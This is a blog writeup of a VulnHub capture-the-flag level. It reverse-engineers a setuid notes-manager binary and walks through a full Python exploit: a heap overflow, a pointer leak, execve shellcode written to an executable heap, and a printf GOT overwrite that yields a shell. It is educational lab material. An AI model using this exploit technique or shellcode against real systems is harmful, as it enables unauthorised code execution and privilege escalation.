published on in writeup
tags: pandora's box

Pandora's Box: 1 - Level 1

After completing Level 0, I echo’d my public key into authorized_keys to allow for easy access. So the first thing to do is check out level1’s home directory.

[email protected]:~$ ls -l

-rwsr-xr-x 1 level2 level1 9052 Jan  4 08:58 level2
-rw-r--r-- 1 level1 level1  145 Jan  4 09:00 level2_readme.txt
[email protected]:~$ cat level2_readme.txt 
Start this level with socat 'socat TCP4-listen:53121,reuseaddr,fork EXEC:./level2' and use netcat or whatever to communicate with it.

Have fun!

I duely ran the level2 binary with socat, and connected via netcat.

[email protected]:~/vulnhub/pbox/level_1# nc 192.168.56.103 53121
[*] Notes manager - 1.0
[*] Type help for the command list
> help
Command list:
     Create new note     : new
     Set note text       : set
     Show note text      : show
     Delete note         : del
     Show commands       : help
     Exit                : exit
> new
[*] New note created with id 0
> set
> id: 0
> text(32 max): rastamouse
[*] Note 0 set
> show
> id: 0
[*] Note 0 text: rastamouse

So fairly obviously, this is an application which is capable of creating, recalling and removing notes.

Some Analysis

I uploaded peda and started to analyse the binary.

[email protected]:~$ file level2
level2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x6dc7e1ac89e9ffa9f40010d2823f76b6221e6448, not stripped
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

When a new note is created, a function called create_struct is called.

gdb-peda$ info functions 
0x08048821  create_struct
gdb-peda$ pdisass main
0x08048aea <+323>:     call   0x8048821 <create_struct>

This function calls malloc twice. Once at +13 which allocates 8 bytes and again at +38 which allocates 64 bytes. These calls are setting up the structure for the notes to be stored in. The first chunk will hold the pointer and the larger chunk for the actual content.

gdb-peda$ pdisass create_struct
Dump of assembler code for function create_struct:
   0x08048821 <+0>:	push   ebp
   0x08048822 <+1>:	mov    ebp,esp
   0x08048824 <+3>:	sub    esp,0x28
   0x08048827 <+6>:	mov    DWORD PTR [esp],0x8
   0x0804882e <+13>:	call   0x80485e0 <[email protected]>
   0x08048833 <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048836 <+21>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048839 <+24>:	mov    DWORD PTR [eax],0x40
   0x0804883f <+30>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048842 <+33>:	mov    eax,DWORD PTR [eax]
   0x08048844 <+35>:	mov    DWORD PTR [esp],eax
   0x08048847 <+38>:	call   0x80485e0 <[email protected]>
   0x0804884c <+43>:	mov    edx,eax
   0x0804884e <+45>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048851 <+48>:	mov    DWORD PTR [eax+0x4],edx
   0x08048854 <+51>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048857 <+54>:	mov    eax,DWORD PTR [eax]
   0x08048859 <+56>:	mov    edx,DWORD PTR [ebp-0xc]
   0x0804885c <+59>:	mov    edx,DWORD PTR [edx+0x4]
   0x0804885f <+62>:	and    edx,0xfffff000
   0x08048865 <+68>:	mov    DWORD PTR [esp+0x8],0x7
   0x0804886d <+76>:	mov    DWORD PTR [esp+0x4],eax
   0x08048871 <+80>:	mov    DWORD PTR [esp],edx
   0x08048874 <+83>:	call   0x8048570 <[email protected]>
   0x08048879 <+88>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0804887c <+91>:	leave  
   0x0804887d <+92>:	ret 

Interestingly, mprotect is also called. This makes part of the heap executable (presumably to make this level a tiny bit easier for us?). We can verify this, by placing a break at the ret for create_struct and checking the mappings with vmmap before and after creating a new note.

Breakpoint 1, 0x080489b6 in main ()
gdb-peda$ vmmap 
Start      End        Perm     Name
0x08048000 0x0804a000 r-xp     /home/level1/level2
0x0804a000 0x0804b000 rw-p     /home/level1/level2
0xb755b000 0xb755c000 rw-p     mapped
0xb755c000 0xb7700000 r-xp     /lib/i386-linux-gnu/libc-2.15.so
0xb7700000 0xb7701000 ---p     /lib/i386-linux-gnu/libc-2.15.so
0xb7701000 0xb7703000 r--p     /lib/i386-linux-gnu/libc-2.15.so
0xb7703000 0xb7704000 rw-p     /lib/i386-linux-gnu/libc-2.15.so
0xb7704000 0xb7707000 rw-p     mapped
0xb770b000 0xb770d000 rw-p     mapped
0xb770d000 0xb770e000 r-xp     [vdso]
0xb770e000 0xb772e000 r-xp     /lib/i386-linux-gnu/ld-2.15.so
0xb772e000 0xb772f000 r--p     /lib/i386-linux-gnu/ld-2.15.so
0xb772f000 0xb7730000 rw-p     /lib/i386-linux-gnu/ld-2.15.so
0xbfc21000 0xbfc42000 rw-p     [stack]

Breakpoint 1, 0x0804887d in create_struct ()
0x087fe000 0x087ff000 rwxp     [heap]

Some Fuzzing

Whilst fuzzing around locally in GDB, I found that I could force a crash.

[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[*] Note 0 set
> show
> id: 1

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xb76f6ff4 --> 0x1a6d7c 
ECX: 0xffffffff 
EDX: 0x0 
ESI: 0xb76f7a20 --> 0xfbad2a84 
EDI: 0x63413563 ('c5Ac')
EBP: 0xbfaa7c08 --> 0xbfaa7d28 --> 0x0 
ESP: 0xbfaa7650 --> 0xb76f7a20 --> 0xfbad2a84 
EIP: 0xb7594e59 (<vfprintf+9081>:	repnz scas al,BYTE PTR es:[edi])

Stopped reason: SIGSEGV
0xb7594e59 in vfprintf () from /lib/i386-linux-gnu/libc.so.6

As you can see, EDI has been overwritten, which happened at 76 bytes. It seems this data was the pointer for note 1 - the binary is trying to show me the data which exists at 0x63413563 ('c5Ac') which is invalid.

So this seems to be a potential attack vector - I can write any value in here, so that when I set/show/del note 1, I can pass my own address into the function.

However, I also made the discovery that I could actually leak the pointer for note 1.

[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A
[*] Note 0 set
> show
> id: 0
[*] Note 0 text: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ap�&

You can see a few extra bytes are returned at the end of the string - they are just rendered as garbage. I’m not sure why this happens, as I wasn’t able to find it in the debugger :(

But knowing the pointer for a note, I would be able to calculate the location of every other note on the heap, as they are a set ‘distance’ from each other. It means I can store shellcode in a note’s text portion (executable thanks to mprotect) and jump there with a GOT overwrite…

Exploit

There are a few steps to this exploit, so I wanted to step through it bit-by-bit.

Handling comms

First, I wanted to set up a function for sending and receiving data, because it’s a complete PITA to keep having to do s.recv all the time.

def comm(stuff, expect):
        if not stuff == '': 
                s.send(stuff + '\n')

        while True:
                r = s.recv(1024).strip()

                if expect in r:
                        break

This communicate function will send any data we specify and will keep receiving data until it reaches something we expect to be there. It makes the exploit a lot cleaner, as we don’t have to s.recv each line.

To receive the banner, all we have to do is:

comm('', '>')

i.e. send nothing and receive data until the > prompt is presented.

Creating notes

I’m going to use 3 notes to carry out this exploit, I tried to do it in 2 but it didn’t seem to work.

comm('new', '>')
comm('new', '>')
comm('new', '>')

Set note 0

comm('set', 'id')
comm('0', 'text')
comm(buffer, '>')

where buffer = 'A' * 76

Leak the pointer of note 1

comm('show', 'id')
s.send('0\n')

I have to step outside of my comm function, so I can handle the data.

data = s.recv(1024)
address = struct.unpack('I', data[93:97])[0]

data is returned like this:

[*] Note 0 text: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp��

So we extract 93:97 which is exactly the p�� portion. This is also returned as a tuple, which looks like (153272432,), so we need [0] just to take the first value.

If we print this in hex, it will come out something like print hex(address) >> 0x9e69070

Write shellcode into note 2

comm('set', 'id')
comm('2', 'text')
comm(shellcode, '>')

where:

shellcode = '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

This is execve shellcode from Shellstorm.

Write printf into note 1 pointer

comm('set', 'id')
comm('0', 'text')
comm(buffer + printf, '>')

where printf = '\x70\xa3\x04\x08' from [email protected]:~$ objdump -R level2.

Trigger the overwrite

comm('set', 'id')
comm('1', 'text')

payload = p(address + 88)
s.send(payload + '\n')

Thanks to the classic p function:

def p(x):
        return struct.pack('<L', x)

I also specify the additional 88 bytes here. The leaked address is the pointer for note 1, but I am writing shellcode into note 2. I know note 2 is 88 bytes from note 1 because of the set sizes of:

  • Note text = 64 bytes
  • Malloc chunk = 8 bytes
  • Length field = 4 bytes

Handle the shell commands

while True:
        cmd = raw_input('# ')
        s.send(cmd + '\n')
        sys.stdout.write(s.recv(10240))

Putting it together!

#!/usr/bin/env python

import socket, struct, sys

target = '192.168.56.103'
port = 53121

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

def comm(stuff, expect):
	if not stuff == '':
		s.send(stuff + '\n')

	while True:
		r = s.recv(1024).strip()

		if expect in r:
			break

buffer = 'A' * 76
printf = '\x70\xa3\x04\x08'
shellcode = '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' 

def p(x):
	return struct.pack('<L', x)

# Banner
comm('', '>')

# Create notes
comm('new', '>')
comm('new', '>')
comm('new', '>')

# Set note 0
comm('set', 'id')
comm('0', 'text')
comm(buffer, '>')

# Leak note 1 address
comm('show', 'id')
s.send('0\n')

# Extract address
data = s.recv(1024)
address = struct.unpack('I', data[93:97])[0]

#Write shellcode
comm('set', 'id')
comm('2', 'text')
comm(shellcode, '>')

# Write printf
comm('set', 'id')
comm('0', 'text')
comm(buffer + printf, '>')

# GOT overwrite
comm('set', 'id')
comm('1', 'text')

payload = p(address + 88)
s.send(payload + '\n')

while True:
	cmd = raw_input('# ')
	s.send(cmd + '\n')
	sys.stdout.write(s.recv(10240))
[email protected]:~/vulnhub/pbox/level_1# ./level_1.py 
# id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1002(level2),1001(level1)
# whoami
level2